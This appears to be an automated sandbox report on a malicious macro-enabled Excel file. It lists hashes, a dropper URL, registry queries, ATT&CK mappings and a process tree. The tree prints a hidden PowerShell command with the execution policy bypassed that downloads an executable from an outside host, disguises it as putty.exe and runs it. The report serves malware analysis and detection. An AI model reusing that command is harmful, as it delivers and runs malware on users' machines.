0eebca5c4174eecc1f3f8066db7dcafaf96d9d89914617cac3c5ba925010abee

General

Target

Order8524252.xlsm
Size

72KB
MD5

f41acbed47044b2588718f457ef8bf2b
SHA1

b85e29bed6977c1d689b057d548882e7058f2648
SHA256

0eebca5c4174eecc1f3f8066db7dcafaf96d9d89914617cac3c5ba925010abee
SHA512

dea10f3ea04673b293727780d2d36283c1faecf0f90874c7c5b1c3687ddd722c2a87fad2f6e77805f2ed23ef1e34065c96096745278b0e4439e84d871200fa56

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://k0pla.com/order587458.exe

Signatures

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

12 2564 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

putty.exe

pid process

1340 putty.exe

flow	pid	process
12	2564	powershell.exe

pid	process
1340	putty.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	process
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exe

pid	process
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2616	WerFault.exe
2616	WerFault.exe
2616	WerFault.exe
2616	WerFault.exe
2616	WerFault.exe
2616	WerFault.exe
2616	WerFault.exe
2616	WerFault.exe
2616	WerFault.exe
2616	WerFault.exe
2616	WerFault.exe
2616	WerFault.exe
2616	WerFault.exe
2616	WerFault.exe
2616	WerFault.exe
2616	WerFault.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

EXCEL.EXEpowershell.exe

description	pid	process	target process
PID 3920 wrote to memory of 2564	3920	EXCEL.EXE	powershell.exe
PID 3920 wrote to memory of 2564	3920	EXCEL.EXE	powershell.exe
PID 2564 wrote to memory of 1340	2564	powershell.exe	putty.exe
PID 2564 wrote to memory of 1340	2564	powershell.exe	putty.exe
PID 2564 wrote to memory of 1340	2564	powershell.exe	putty.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exeWerFault.exe

description	pid	process
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeRestorePrivilege	2616	WerFault.exe
Token: SeBackupPrivilege	2616	WerFault.exe
Token: SeDebugPrivilege	2616	WerFault.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2616 1340 WerFault.exe putty.exe

pid	pid_target	process	target process
2616	1340	WerFault.exe	putty.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3920 EXCEL.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2564	3920	powershell.exe	EXCEL.EXE

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Order8524252.xlsm"
1⤵
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
PID:3920

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://k0pla.com/order587458.exe',$env:Temp+'\putty.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\putty.exe')
2⤵
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Process spawned unexpected child process
PID:2564

C:\Users\Admin\AppData\Local\Temp\putty.exe
"C:\Users\Admin\AppData\Local\Temp\putty.exe"
3⤵
- Executes dropped EXE
PID:1340

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1340 -s 848
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Program crash
PID:2616

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\putty.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\putty.exe

Download Submit
memory/1340-13-0x0000000000000000-mapping.dmp

Download
memory/1340-64-0x0000000000000000-mapping.dmp

Download
memory/1340-15-0x0000000000000000-mapping.dmp

Download
memory/1340-6-0x0000000000000000-mapping.dmp

Download
memory/1340-16-0x0000000000000000-mapping.dmp

Download
memory/1340-68-0x0000000000000000-mapping.dmp

Download
memory/1340-66-0x0000000000000000-mapping.dmp

Download
memory/1340-17-0x0000000000000000-mapping.dmp

Download
memory/1340-12-0x0000000000000000-mapping.dmp

Download
memory/1340-11-0x0000000000000000-mapping.dmp

Download
memory/1340-67-0x0000000000000000-mapping.dmp

Download
memory/1340-14-0x0000000000000000-mapping.dmp

Download
memory/1340-65-0x0000000000000000-mapping.dmp

Download
memory/1340-63-0x0000000000000000-mapping.dmp

Download
memory/1340-10-0x0000000000000000-mapping.dmp

Download
memory/1340-62-0x0000000000000000-mapping.dmp

Download
memory/1340-61-0x0000000000000000-mapping.dmp

Download
memory/2564-5-0x0000000000000000-mapping.dmp

Download
memory/2616-18-0x0000000005300000-0x0000000005301000-memory.dmp

Filesize
4KB

Download
memory/2616-9-0x0000000004A00000-0x0000000004A01000-memory.dmp

Filesize
4KB

Download
memory/2616-69-0x0000000005880000-0x0000000005881000-memory.dmp

Filesize
4KB

Download
memory/3920-2-0x000001D2D712D000-0x000001D2D712F000-memory.dmp

Filesize
8KB

Download
memory/3920-3-0x000001D2D725E000-0x000001D2D726E000-memory.dmp

Filesize
64KB

Download
memory/3920-0-0x000001D2D712F000-0x000001D2D7132000-memory.dmp

Filesize
12KB

Download
memory/3920-1-0x000001D2D712D000-0x000001D2D712F000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads